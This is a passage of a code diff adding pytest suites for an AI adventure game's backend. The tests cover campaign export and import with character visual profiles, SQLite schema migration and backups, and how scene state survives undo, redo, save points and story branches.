|
||||
Base.metadata.create_all(bind=engine)
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m10bundle@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(user_id=user.id, model="test-model",
|
||||
embedding_model=""))
|
||||
adventure = models.Adventure(user_id=user.id, title="Portable office")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(adventure_id=adventure.id, type="start",
|
||||
text="Bill badges in."))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def export(client, adv_id=None) -> dict:
|
||||
response = client.get(f"/api/adventures/{adv_id or client.adv_id}/export")
|
||||
assert response.status_code == 200, response.text[:400]
|
||||
return response.json()
|
||||
|
||||
|
||||
def bring_back(client, payload) -> int:
|
||||
response = client.post("/api/adventures/import", json=payload)
|
||||
assert response.status_code == 201, response.text[:600]
|
||||
return response.json()["id"]
|
||||
|
||||
|
||||
def profiles_of(client, adv_id) -> dict:
|
||||
body = client.get(f"/api/adventures/{adv_id}/visual-profiles").json()
|
||||
return {p["entity_key"]: p for p in body["profiles"]}
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def moved(client):
|
||||
"""The office campaign, its bundle, and the copy the bundle produced."""
|
||||
m10_fixture.build(client, client.adv_id)
|
||||
payload = export(client)
|
||||
return {"bundle": payload, "copy_id": bring_back(client, payload)}
|
||||
|
||||
|
||||
# --------------------------------------------------------------- §14 the file
|
||||
|
||||
def test_the_format_version_is_unchanged(moved):
|
||||
"""The decision, recorded as a test so a later bump is deliberate."""
|
||||
assert moved["bundle"]["format"] == "ai-dnd-adventure-v3"
|
||||
|
||||
|
||||
def test_the_bundle_carries_the_profiles_that_exist(moved):
|
||||
exported = {p["entityKey"]: p for p in moved["bundle"]["visualProfiles"]}
|
||||
assert set(exported) == {"alice", "office"}
|
||||
assert exported["alice"]["descriptors"]["hair"] == "short black"
|
||||
assert exported["alice"]["features"] == ["tortoiseshell glasses"]
|
||||
assert exported["alice"]["styleNotes"] == "photographic, natural light"
|
||||
|
||||
|
||||
def test_an_unprofiled_character_exports_no_empty_profile(moved):
|
||||
"""Roger has no profile, and the file must say that by omission.
|
||||
|
||||
An exporter that wrote a blank row for every entity would lose the
|
||||
distinction a provider needs: "nobody decided what Roger looks like" is not
|
||||
"Roger looks like nothing".
|
||||
"""
|
||||
keys = [p["entityKey"] for p in moved["bundle"]["visualProfiles"]]
|
||||
assert "roger" not in keys and "bill" not in keys
|
||||
|
||||
|
||||
def test_the_copy_holds_the_same_profiles(client, moved):
|
||||
original = profiles_of(client, client.adv_id)
|
||||
copied = profiles_of(client, moved["copy_id"])
|
||||
assert set(copied) == set(original)
|
||||
for key in original:
|
||||
assert copied[key]["descriptors"] == original[key]["descriptors"]
|
||||
assert copied[key]["features"] == original[key]["features"]
|
||||
assert copied[key]["style_notes"] == original[key]["style_notes"]
|
||||
|
||||
|
||||
def test_the_copys_profiles_are_its_own_rows(client, moved):
|
||||
"""Editing the copy must not reach back into the original."""
|
||||
client.put(f"/api/adventures/{moved['copy_id']}/visual-profiles/alice",
|
||||
json={"descriptors": {"hair": "bleached"}})
|
||||
assert profiles_of(client, client.adv_id)["alice"][
|
||||
"descriptors"]["hair"] == "short black"
|
||||
|
||||
|
||||
def test_the_copys_scene_packet_is_populated_from_the_imported_profiles(
|
||||
client, moved):
|
||||
"""The point of carrying them: the copy can be depicted without redoing work."""
|
||||
packet = client.get(
|
||||
f"/api/adventures/{moved['copy_id']}/scene-packet").json()
|
||||
by_name = {c["name"]: c for c in packet["characters"]}
|
||||
assert by_name["Alice"]["visual_profile"]["descriptors"]["build"] == "tall"
|
||||
assert by_name["Roger"]["visual_profile"] is None
|
||||
assert packet["location"]["visual_profile"]["descriptors"][
|
||||
"lighting"] == "flat fluorescent"
|
||||
|
||||
|
||||
def test_an_m9_era_file_still_imports_and_simply_has_no_profiles(client, moved):
|
||||
"""A v3 file written before M10 existed: the key is absent, not empty."""
|
||||
older = copy.deepcopy(moved["bundle"])
|
||||
del older["visualProfiles"]
|
||||
copy_id = bring_back(client, older)
|
||||
assert profiles_of(client, copy_id) == {}
|
||||
# And the campaign itself arrived intact.
|
||||
assert client.get(f"/api/adventures/{copy_id}/scene-packet").json()[
|
||||
"characters"]
|
||||
|
||||
|
||||
def test_a_malformed_profile_is_dropped_rather_than_refusing_the_campaign(
|
||||
client, moved):
|
||||
"""§14's proportionality rule, in the one place M10 could get it wrong.
|
||||
|
||||
A story that will not import because a description of somebody's coat is
|
||||
malformed would be the wrong trade. The campaign arrives; the bad profile
|
||||
does not; the good one does.
|
||||
"""
|
||||
damaged = copy.deepcopy(moved["bundle"])
|
||||
damaged["visualProfiles"].append(
|
||||
{"entity_key": "", "descriptors": "not an object"})
|
||||
damaged["visualProfiles"].append({"descriptors": {"a": "b"}})
|
||||
copy_id = bring_back(client, damaged)
|
||||
assert set(profiles_of(client, copy_id)) == {"alice", "office"}
|
||||
|
||||
|
||||
def test_a_profile_survives_a_second_round_trip_unchanged(client, moved):
|
||||
"""Export, import, export again: the file is a fixed point."""
|
||||
again = export(client, moved["copy_id"])
|
||||
first = sorted(moved["bundle"]["visualProfiles"], key=lambda p: p["entityKey"])
|
||||
second = sorted(again["visualProfiles"], key=lambda p: p["entityKey"])
|
||||
assert [p["entityKey"] for p in first] == [p["entityKey"] for p in second]
|
||||
for a, b in zip(first, second):
|
||||
assert a["descriptors"] == b["descriptors"]
|
||||
assert a["features"] == b["features"]
|
||||
assert a["styleNotes"] == b["styleNotes"]
|
||||
|
||||
|
||||
def test_a_neighbouring_campaigns_profiles_do_not_travel(client, moved):
|
||||
"""Scoping: the exporter must filter by campaign, not by table."""
|
||||
with SessionLocal() as db:
|
||||
neighbour = models.Adventure(user_id=None, title="Someone else's")
|
||||
db.add(neighbour)
|
||||
db.flush()
|
||||
db.add(models.VisualProfile(
|
||||
adventure_id=neighbour.id, entity_key="intruder",
|
||||
descriptors={"hair": "should not travel"}, features=[],
|
||||
style_notes=""))
|
||||
db.commit()
|
||||
keys = [p["entityKey"] for p in export(client)["visualProfiles"]]
|
||||
assert "intruder" not in keys
|
||||
|
||||
|
||||
def test_the_planner_checks_the_profiles_before_a_row_is_written(moved):
|
||||
"""M9's atomicity rule: everything is checked before anything is written.
|
||||
|
||||
`bundle.plan` is that checkpoint — it has no side effects and is what the
|
||||
importer runs first — so a profile that would fail must fail there rather
|
||||
than halfway through writing a campaign. There is no HTTP preview endpoint;
|
||||
the planner is called directly for the same reason the importer calls it.
|
||||
"""
|
||||
from app import bundle as bundle_module
|
||||
|
||||
planned = bundle_module.plan(moved["bundle"], "ai-dnd-adventure-v3")
|
||||
assert {p["entity_key"] for p in planned["visualProfiles"]} == {
|
||||
"alice", "office"}
|
||||
|
||||
|
||||
# ---------------------------------------------------------- §15 the migration
|
||||
|
||||
@pytest.fixture()
|
||||
def m9_database():
|
||||
"""A database as an M9 build left it, with a campaign already in it.
|
||||
|
||||
M10's only schema change is the `visual_profiles` table, so an M9-era file
|
||||
is exactly this: the current schema without that table, stamped at 92 — the
|
||||
version M9 ended on, and the version an M10-era file still carries, because
|
||||
M10 added no migration of its own. Opening it brings it to whatever the
|
||||
current version is; M11 later added 93, which is why these tests compare
|
||||
against `LATEST_VERSION` rather than a literal. The campaign rows are
|
||||
written before the upgrade, because the claim under test is that they are
|
||||
still there afterwards.
|
||||
"""
|
||||
directory = tempfile.mkdtemp(prefix="m10-migrate-")
|
||||
path = Path(directory) / "campaign.db"
|
||||
older = create_engine(f"sqlite:///{path}")
|
||||
Base.metadata.create_all(bind=older)
|
||||
# Written through the ORM, so the campaign in the file is shaped the way the
|
||||
# application writes one rather than the way a test guessed at.
|
||||
with sessionmaker(bind=older)() as db:
|
||||
adventure = models.Adventure(title="An M9 campaign")
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
db.add(models.Action(adventure_id=adventure.id, type="start",
|
||||
text="The story opened before M10."))
|
||||
db.commit()
|
||||
adv_id = adventure.id
|
||||
with older.begin() as conn:
|
||||
conn.execute(text("DROP TABLE visual_profiles"))
|
||||
conn.execute(text("PRAGMA user_version = 92"))
|
||||
older.dispose()
|
||||
yield path, create_engine(f"sqlite:///{path}"), adv_id
|
||||
|
||||
|
||||
def _indexes(engine_) -> set:
|
||||
with engine_.begin() as conn:
|
||||
return {row[0] for row in conn.execute(text(
|
||||
"SELECT name FROM sqlite_master WHERE type = 'index'"))}
|
||||
|
||||
|
||||
def _version(engine_) -> int:
|
||||
with engine_.begin() as conn:
|
||||
return conn.execute(text("PRAGMA user_version")).scalar()
|
||||
|
||||
|
||||
def test_an_m9_database_gains_the_new_table_when_it_is_opened(m9_database):
|
||||
path, older, adv_id = m9_database
|
||||
assert _version(older) == 92
|
||||
migrations.bootstrap(older)
|
||||
assert _version(older) == migrations.LATEST_VERSION
|
||||
with older.begin() as conn:
|
||||
assert conn.execute(text("SELECT COUNT(*) FROM visual_profiles")).scalar() == 0
|
||||
assert "ix_visual_profiles_adventure_id" in _indexes(older)
|
||||
|
||||
|
||||
def test_no_migration_mentions_the_table_m10_added(m9_database):
|
||||
"""M10's actual claim, stated so a later migration cannot invalidate it.
|
||||
|
||||
The first version of this file expressed "M10 adds no migration" as
|
||||
`LATEST_VERSION == 92`, which stopped being true the moment M11 added a
|
||||
column to another table — a fact about M11 that says nothing about M10. The
|
||||
durable claim is that `visual_profiles` arrives through `create_all` and
|
||||
that no migration anywhere touches it.
|
||||
"""
|
||||
for _, sql in migrations.MIGRATIONS:
|
||||
body = sql if isinstance(sql, str) else " ".join(sql.values())
|
||||
assert "visual_profiles" not in body, body[:120]
|
||||
|
||||
|
||||
def test_the_campaign_that_was_already_there_is_untouched(m9_database):
|
||||
path, older, adv_id = m9_database
|
||||
migrations.bootstrap(older)
|
||||
with older.begin() as conn:
|
||||
assert conn.execute(text("SELECT title FROM adventures")).scalar() == (
|
||||
"An M9 campaign")
|
||||
assert conn.execute(text("SELECT text FROM actions")).scalar() == (
|
||||
"The story opened before M10.")
|
||||
assert conn.execute(text("PRAGMA foreign_key_check")).fetchall() == []
|
||||
|
||||
|
||||
def test_opening_the_database_repeatedly_is_a_no_op(m9_database):
|
||||
"""Three starts in a row. Nothing accumulates and nothing errors.
|
||||
|
||||
This is the idempotence §15 asks about. It is stated as "open it again"
|
||||
rather than "run the migration again" because opening is what the
|
||||
application does, and M10 has no migration of its own to rerun.
|
||||
"""
|
||||
path, older, adv_id = m9_database
|
||||
migrations.bootstrap(older)
|
||||
after_first = _indexes(older)
|
||||
first_version = _version(older)
|
||||
for _ in range(2):
|
||||
migrations.bootstrap(older)
|
||||
assert _version(older) == first_version == migrations.LATEST_VERSION
|
||||
assert _indexes(older) == after_first
|
||||
with older.begin() as conn:
|
||||
assert conn.execute(text("SELECT COUNT(*) FROM adventures")).scalar() == 1
|
||||
|
||||
|
||||
def test_a_fresh_database_arrives_at_the_same_place(m9_database):
|
||||
"""An upgraded M9 file and a new install must not differ.
|
||||
|
||||
Two schemas that disagree is the failure this catches, and it is the one a
|
||||
version stamp alone would hide.
|
||||
"""
|
||||
path, older, adv_id = m9_database
|
||||
migrations.bootstrap(older)
|
||||
fresh_path = path.with_name("fresh.db")
|
||||
fresh = create_engine(f"sqlite:///{fresh_path}")
|
||||
migrations.bootstrap(fresh)
|
||||
assert _version(fresh) == _version(older)
|
||||
|
||||
def shape(e):
|
||||
with e.begin() as conn:
|
||||
return conn.execute(text(
|
||||
"SELECT sql FROM sqlite_master WHERE name = 'visual_profiles'"
|
||||
)).scalar()
|
||||
|
||||
assert shape(fresh) == shape(older)
|
||||
# Including the indexes. This comparison is what caught the redundant
|
||||
# `CREATE INDEX` migration M10 first shipped: the upgraded file had an index
|
||||
# the fresh one did not, which is a difference no test of either database on
|
||||
# its own would have shown.
|
||||
assert _indexes(fresh) == _indexes(older)
|
||||
fresh.dispose()
|
||||
|
||||
|
||||
def test_a_backup_of_the_upgraded_database_still_works(m9_database):
|
||||
"""M9's backup keeps its guarantees on a file M10 added a table to."""
|
||||
path, older, adv_id = m9_database
|
||||
migrations.bootstrap(older)
|
||||
older.dispose()
|
||||
|
||||
result = backup.create(path)
|
||||
try:
|
||||
assert result.integrity == "ok"
|
||||
assert result.pages > 0
|
||||
with sqlite3.connect(f"file:{result.path}?mode=ro", uri=True) as copy_db:
|
||||
assert copy_db.execute("PRAGMA quick_check").fetchone()[0] == "ok"
|
||||
assert copy_db.execute("PRAGMA foreign_key_check").fetchall() == []
|
||||
# It opens independently: the new table is in it, and so is the
|
||||
# campaign that predates the migration.
|
||||
assert copy_db.execute(
|
||||
"SELECT COUNT(*) FROM visual_profiles").fetchone()[0] == 0
|
||||
assert copy_db.execute(
|
||||
"SELECT title FROM adventures").fetchone()[0] == "An M9 campaign"
|
||||
assert copy_db.execute("PRAGMA user_version").fetchone()[0] == (
|
||||
migrations.LATEST_VERSION)
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
def test_a_backup_carries_the_profiles_written_after_the_upgrade(m9_database):
|
||||
path, older, adv_id = m9_database
|
||||
migrations.bootstrap(older)
|
||||
with older.begin() as conn:
|
||||
conn.execute(text(
|
||||
"INSERT INTO visual_profiles "
|
||||
"(adventure_id, entity_key, descriptors, features, style_notes, "
|
||||
" created_at, updated_at) "
|
||||
"VALUES (:adv, 'bill', '{\"build\": \"heavyset\"}', '[]', '', "
|
||||
" datetime('now'), datetime('now'))"), {"adv": adv_id})
|
||||
older.dispose()
|
||||
|
||||
result = backup.create(path)
|
||||
try:
|
||||
with sqlite3.connect(f"file:{result.path}?mode=ro", uri=True) as copy_db:
|
||||
row = copy_db.execute(
|
||||
"SELECT entity_key, descriptors FROM visual_profiles").fetchone()
|
||||
assert row[0] == "bill" and "heavyset" in row[1]
|
||||
finally:
|
||||
result.path.unlink(missing_ok=True)
|
||||
|
||||
|
||||
# ------------------------------------- §14 the move to a machine that never saw it
|
||||
|
||||
@pytest.fixture()
|
||||
def machines():
|
||||
"""Two directories, each with its own database, and a server on each.
|
||||
|
||||
The same shape as `test_m9_clean_import.py`, for the same reason: a shared
|
||||
id space, a warm cache or a session still holding the original would let an
|
||||
in-process import pass while a real move failed. M9's version of this test
|
||||
predates visual profiles and carries none, so this is the profile-carrying
|
||||
half of the same claim rather than a duplicate of it.
|
||||
"""
|
||||
root = tempfile.mkdtemp(prefix="m10-clean-")
|
||||
started: list[Server] = []
|
||||
|
||||
def start(name: str) -> Server:
|
||||
directory = os.path.join(root, name)
|
||||
os.makedirs(directory, exist_ok=True)
|
||||
server = Server(os.path.join(directory, "campaign.db"), _free_port())
|
||||
started.append(server)
|
||||
server.wait_until_ready()
|
||||
return server
|
||||
|
||||
try:
|
||||
yield start
|
||||
finally:
|
||||
for server in started:
|
||||
server.stop()
|
||||
shutil.rmtree(root, ignore_errors=True)
|
||||
|
||||
|
||||
def test_profiles_reach_a_clean_data_directory_on_another_machine(machines):
|
||||
"""§14's Definition-of-Done clause, run across two real processes.
|
||||
|
||||
Machine A plays a campaign, profiles two entities and exports. Machine B is
|
||||
a database file that has never existed before, in a different directory, in
|
||||
a different process — migrations run there from nothing. Nothing crosses but
|
||||
the bundle.
|
||||
"""
|
||||
a = machines("machine-a")
|
||||
campaign = a.call("POST", "/adventures",
|
||||
{"title": "Moving day", "opening": "The office is quiet."},
|
||||
expect=201)
|
||||
adv = campaign["id"]
|
||||
a.call("POST", f"/adventures/{adv}/state/corrections", {
|
||||
"events": [
|
||||
{"type": "create_entity", "entity": "alice",
|
||||
"entity_type": "character", "name": "Alice"},
|
||||
{"type": "create_entity", "entity": "roger",
|
||||
"entity_type": "character", "name": "Roger"},
|
||||
{"type": "create_entity", "entity": "office",
|
||||
"entity_type": "location", "name": "The office"},
|
||||
{"type": "set_scene", "summary": "Alice and Roger wait in the office.",
|
||||
"location": "office", "present": ["alice", "roger"]},
|
||||
],
|
||||
"note": "setting the scene",
|
||||
}, expect=201)
|
||||
a.call("PUT", f"/adventures/{adv}/visual-profiles/alice",
|
||||
{"descriptors": {"build": "tall", "hair": "short black"},
|
||||
"features": ["tortoiseshell glasses"],
|
||||
"style_notes": "photographic, natural light"}, expect=200)
|
||||
a.call("PUT", f"/adventures/{adv}/visual-profiles/office",
|
||||
{"descriptors": {"lighting": "flat fluorescent"}}, expect=200)
|
||||
payload = a.call("GET", f"/adventures/{adv}/export", expect=200)
|
||||
source_packet = a.call("GET", f"/adventures/{adv}/scene-packet", expect=200)
|
||||
a.stop()
|
||||
assert not a.is_listening()
|
||||
|
||||
b = machines("machine-b")
|
||||
moved = b.call("POST", "/adventures/import", payload, expect=201)["id"]
|
||||
|
||||
profiles = {p["entity_key"]: p for p in b.call(
|
||||
"GET", f"/adventures/{moved}/visual-profiles", expect=200)["profiles"]}
|
||||
assert set(profiles) == {"alice", "office"}
|
||||
assert profiles["alice"]["features"] == ["tortoiseshell glasses"]
|
||||
assert profiles["alice"]["style_notes"] == "photographic, natural light"
|
||||
|
||||
# The packet the copy builds describes the same scene, with the same
|
||||
# profiles attached and Roger still deliberately unprofiled. Only the
|
||||
# campaign id differs, which is what a new machine's id space means.
|
||||
moved_packet = b.call("GET", f"/adventures/{moved}/scene-packet", expect=200)
|
||||
assert moved_packet["action_summary"] == source_packet["action_summary"]
|
||||
by_name = {c["name"]: c for c in moved_packet["characters"]}
|
||||
assert by_name["Alice"]["visual_profile"]["descriptors"]["hair"] == "short black"
|
||||
assert by_name["Roger"]["visual_profile"] is None
|
||||
assert moved_packet["location"]["visual_profile"]["descriptors"][
|
||||
"lighting"] == "flat fluorescent"
|
||||
@@ -0,0 +1,452 @@
|
||||
"""M10 §4 and §17: scene data obeys the history rules, because it *is* story data.
|
||||
|
||||
The claim this file makes is unusual, and worth stating plainly before the
|
||||
tests: **M10 wrote no lineage code.** There is no media head, no `active` flag,
|
||||
no scene branch table and no separate restore path. The scene lives in the
|
||||
authoritative narrative state document, which M3 gave a head, M4 gave Save
|
||||
Points, M5 gave per-position snapshots and M9 gave portability — so it inherits
|
||||
every one of those rules by being the same data rather than by copying them.
|
||||
|
||||
That makes these tests a check on an inheritance rather than on an
|
||||
implementation, and they are written to fail loudly if the inheritance were ever
|
||||
broken by a future scene store appearing beside the state document. The M10
|
||||
brief's §4 sequence is exercised literally, including the restart, and the
|
||||
Mara-in-the-cellar example it names is the first test.
|
||||
|
||||
python -m pytest tests/test_m10_lineage.py -v
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import tempfile
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
from fastapi import Depends
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
from app import auth, limits, memorybank, models
|
||||
from app.database import Base, SessionLocal, engine, get_db
|
||||
from app.knowledge import embeddings
|
||||
from app.main import app
|
||||
from app.media import packet as scene_packet
|
||||
from app.routers import adventures
|
||||
|
||||
import m10_fixture
|
||||
from fakes import ScriptedProvider
|
||||
from test_process_restart import Server, _free_port
|
||||
|
||||
|
||||
class StubDerived:
|
||||
async def complete(self, system, prompt, **kwargs):
|
||||
return "A memory."
|
||||
|
||||
async def embed(self, texts):
|
||||
return [[1.0, 0.5, 0.25] for _ in texts]
|
||||
|
||||
|
||||
@pytest.fixture()
|
||||
def client(monkeypatch):
|
||||
Base.metadata.create_all(bind=engine)
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
setup = SessionLocal()
|
||||
user = models.User(is_guest=False, email="m10lin@example.com")
|
||||
setup.add(user)
|
||||
setup.flush()
|
||||
setup.add(models.Settings(
|
||||
user_id=user.id, model="test-model", embedding_model="",
|
||||
context_token_budget=4000, max_output_tokens=400,
|
||||
))
|
||||
adventure = models.Adventure(user_id=user.id, title="Lineage")
|
||||
setup.add(adventure)
|
||||
setup.flush()
|
||||
setup.add(models.Action(
|
||||
adventure_id=adventure.id, type="start", text="It begins.",
|
||||
))
|
||||
setup.commit()
|
||||
adv_id, user_id = adventure.id, user.id
|
||||
setup.close()
|
||||
|
||||
monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
|
||||
monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
|
||||
monkeypatch.setattr(memorybank, "embedding_provider", lambda s: StubDerived())
|
||||
monkeypatch.setattr(memorybank, "summary_provider", lambda s: StubDerived())
|
||||
app.dependency_overrides[auth.get_current_user] = (
|
||||
lambda db=Depends(get_db): db.get(models.User, user_id)
|
||||
)
|
||||
test_client = TestClient(app)
|
||||
test_client.adv_id = adv_id
|
||||
try:
|
||||
yield test_client
|
||||
finally:
|
||||
app.dependency_overrides.clear()
|
||||
adventures.turns._active_turns.clear()
|
||||
memorybank._vector_cache.clear()
|
||||
embeddings._cache.clear()
|
||||
Base.metadata.drop_all(bind=engine)
|
||||
|
||||
|
||||
def scene_of(client, adv_id=None):
|
||||
return client.get(
|
||||
f"/api/adventures/{adv_id or client.adv_id}/state"
|
||||
).json()["document"].get("scene") or {}
|
||||
|
||||
|
||||
def packet_of(client, adv_id=None):
|
||||
r = client.get(f"/api/adventures/{adv_id or client.adv_id}/scene-packet")
|
||||
assert r.status_code == 200, r.text[:300]
|
||||
return r.json()
|
||||
|
||||
|
||||
def retained_scenes(adv_id) -> list[tuple]:
|
||||
"""Every scene the tree still holds, as (branch, depth, summary).
|
||||
|
||||
Read from the per-position snapshots, which is where a retained scene lives
|
||||
— the point being that a scene the story left is still on disk, attached to
|
||||
the position that established it.
|
||||
"""
|
||||
from sqlalchemy.orm import undefer
|
||||
|
||||
with SessionLocal() as db:
|
||||
rows = (
|
||||
db.query(models.Action)
|
||||
.filter(models.Action.adventure_id == adv_id)
|
||||
.options(undefer(models.Action.narrative_state_after))
|
||||
.order_by(models.Action.branch_id, models.Action.depth, models.Action.id)
|
||||
.all()
|
||||
)
|
||||
out = []
|
||||
for row in rows:
|
||||
state = row.narrative_state_after or {}
|
||||
summary = (state.get("scene") or {}).get("summary")
|
||||
if summary:
|
||||
out.append((row.branch_id, row.depth, summary))
|
||||
return out
|
||||
|
||||
|
||||
# --------------------------------------------- the brief's own §4 example
|
||||
|
||||
def test_a_scene_from_an_abandoned_line_does_not_become_current(client):
|
||||
"""§4, literally: Mara in the cellar, then Mara upstairs.
|
||||
|
||||
Path A's scene must remain stored, must not be current on Path B, and
|
||||
Path B's scene must be Path B's.
|
||||
"""
|
||||
m10_fixture.play(client, client.adv_id, "set up", [
|
||||
m10_fixture.entity("mara", "character", "Mara"),
|
||||
m10_fixture.entity("cellar", "location", "The cellar"),
|
||||
m10_fixture.entity("upstairs", "location", "Upstairs"),
|
||||
])
|
||||
m10_fixture.play(client, client.adv_id, "go down", [
|
||||
{"type": "set_scene", "summary": "Mara enters the cellar.",
|
||||
"location": "cellar", "present": ["mara"]},
|
||||
])
|
||||
assert scene_of(client)["summary"] == "Mara enters the cellar."
|
||||
path_a = packet_of(client)["scene_id"]
|
||||
|
||||
assert client.post(f"/api/adventures/{client.adv_id}/undo").status_code == 200
|
||||
m10_fixture.play(client, client.adv_id, "stay put", [
|
||||
{"type": "set_scene", "summary": "Mara remains upstairs.",
|
||||
"location": "upstairs", "present": ["mara"]},
|
||||
])
|
||||
|
||||
current = scene_of(client)
|
||||
assert current["summary"] == "Mara remains upstairs."
|
||||
assert current["location"] == "upstairs"
|
||||
assert packet_of(client)["location"]["name"] == "Upstairs"
|
||||
assert packet_of(client)["scene_id"] != path_a
|
||||
|
||||
# Path A's scene is still on disk, on the branch it belongs to.
|
||||
kept = retained_scenes(client.adv_id)
|
||||
assert ("Mara enters the cellar." in [s for _, _, s in kept]), kept
|
||||
assert ("Mara remains upstairs." in [s for _, _, s in kept]), kept
|
||||
branches = {s: b for b, _, s in kept}
|
||||
assert branches["Mara enters the cellar."] != branches["Mara remains upstairs."]
|
||||
|
||||
|
||||
def test_divergence_deletes_no_scene(client):
|
||||
"""§4: diverging retains the old line rather than replacing it."""
|
||||
m10_fixture.play(client, client.adv_id, "set up", [
|
||||
m10_fixture.entity("mara", "character", "Mara"),
|
||||
m10_fixture.entity("cellar", "location", "The cellar"),
|
||||
])
|
||||
m10_fixture.play(client, client.adv_id, "down", [
|
||||
{"type": "set_scene", "summary": "Scene A.", "location": "cellar",
|
||||
"present": ["mara"]}])
|
||||
before = len(retained_scenes(client.adv_id))
|
||||
client.post(f"/api/adventures/{client.adv_id}/undo")
|
||||
m10_fixture.play(client, client.adv_id, "elsewhere", [
|
||||
{"type": "set_scene", "summary": "Scene C.", "location": "cellar",
|
||||
"present": ["mara"]}])
|
||||
after = retained_scenes(client.adv_id)
|
||||
assert len(after) == before + 1
|
||||
assert "Scene A." in [s for _, _, s in after]
|
||||
|
||||
|
||||
# ------------------------------------------------- the brief's §17 sequence
|
||||
|
||||
def test_the_full_scene_lineage_sequence(client):
|
||||
"""§17, step by step, in one test so the order is the thing under test.
|
||||
|
||||
Scene A, Save Point, Scene B, Undo, Redo, restore, diverge to Scene C — and
|
||||
at every step the active scene must be the one the head is on, while the
|
||||
scenes the story left must still be on disk.
|
||||
"""
|
||||
adv = client.adv_id
|
||||
m10_fixture.play(client, adv, "set up", [
|
||||
m10_fixture.entity("mara", "character", "Mara"),
|
||||
m10_fixture.entity("hall", "location", "The hall"),
|
||||
])
|
||||
client.put(f"/api/adventures/{adv}/visual-profiles/mara",
|
||||
json={"descriptors": {"build": "sturdy"}})
|
||||
|
||||
# 1-2. Scene A, persisted.
|
||||
m10_fixture.play(client, adv, "scene a", [
|
||||
{"type": "set_scene", "summary": "Scene A.", "location": "hall",
|
||||
"present": ["mara"]}])
|
||||
assert scene_of(client)["summary"] == "Scene A."
|
||||
|
||||
# 3. Save Point at Scene A.
|
||||
point = client.post(f"/api/adventures/{adv}/checkpoints",
|
||||
json={"name": "At scene A", "note": ""})
|
||||
assert point.status_code == 201, point.text[:300]
|
||||
point_id = point.json()["id"]
|
||||
|
||||
# 4. Advance to Scene B.
|
||||
m10_fixture.play(client, adv, "scene b", [
|
||||
{"type": "set_scene", "summary": "Scene B.", "location": "hall",
|
||||
"present": ["mara"]}])
|
||||
assert scene_of(client)["summary"] == "Scene B."
|
||||
|
||||
# 5. Undo -> back at Scene A.
|
||||
assert client.post(f"/api/adventures/{adv}/undo").status_code == 200
|
||||
assert scene_of(client)["summary"] == "Scene A."
|
||||
|
||||
# 6. Redo -> Scene B again.
|
||||
assert client.post(f"/api/adventures/{adv}/redo").status_code == 200
|
||||
assert scene_of(client)["summary"] == "Scene B."
|
||||
|
||||
# 7. Restore the Save Point -> Scene A, and Scene B is still retained.
|
||||
restored = client.post(f"/api/adventures/{adv}/checkpoints/{point_id}/restore")
|
||||
assert restored.status_code == 200, restored.text[:300]
|
||||
assert scene_of(client)["summary"] == "Scene A."
|
||||
assert "Scene B." in [s for _, _, s in retained_scenes(adv)]
|
||||
|
||||
# 8. Diverge to Scene C.
|
||||
m10_fixture.play(client, adv, "scene c", [
|
||||
{"type": "set_scene", "summary": "Scene C.", "location": "hall",
|
||||
"present": ["mara"]}])
|
||||
assert scene_of(client)["summary"] == "Scene C."
|
||||
|
||||
# Scene B is retained and is NOT current on Scene C's line.
|
||||
kept = [s for _, _, s in retained_scenes(adv)]
|
||||
assert "Scene B." in kept and "Scene A." in kept and "Scene C." in kept
|
||||
assert scene_of(client)["summary"] == "Scene C."
|
||||
|
||||
# 9-11. Restart, then inspect again. Nothing about eligibility moved.
|
||||
with SessionLocal() as fresh:
|
||||
adventure = fresh.get(models.Adventure, adv)
|
||||
assert adventure.narrative_state["scene"]["summary"] == "Scene C."
|
||||
|
||||
# The profile is stable across every one of those movements.
|
||||
profile = client.get(f"/api/adventures/{adv}/visual-profiles/mara").json()
|
||||
assert profile["descriptors"] == {"build": "sturdy"}
|
||||
|
||||
|
||||
def test_a_visual_profile_is_stable_across_divergence(client):
|
||||
"""§17: a character does not change appearance because the story forked.
|
||||
|
||||
This is the one place M10's storage choice is directly observable: profiles
|
||||
are campaign-scoped, so the same profile is visible from both lines.
|
||||
"""
|
||||
m10_fixture.play(client, client.adv_id, "set up", [
|
||||
m10_fixture.entity("mara", "character", "Mara"),
|
||||
m10_fixture.entity("hall", "location", "The hall"),
|
||||
])
|
||||
client.put(f"/api/adventures/{client.adv_id}/visual-profiles/mara",
|
||||
json={"descriptors": {"hair": "dark auburn"}})
|
||||
m10_fixture.play(client, client.adv_id, "a", [
|
||||
{"type": "set_scene", "summary": "A.", "location": "hall",
|
||||
"present": ["mara"]}])
|
||||
on_a = packet_of(client)["characters"][0]["visual_profile"]
|
||||
|
||||
client.post(f"/api/adventures/{client.adv_id}/undo")
|
||||
m10_fixture.play(client, client.adv_id, "b", [
|
||||
{"type": "set_scene", "summary": "B.", "location": "hall",
|
||||
"present": ["mara"]}])
|
||||
on_b = packet_of(client)["characters"][0]["visual_profile"]
|
||||
|
||||
assert on_a == on_b == {"descriptors": {"hair": "dark auburn"},
|
||||
"features": [], "style_notes": ""}
|
||||
|
||||
|
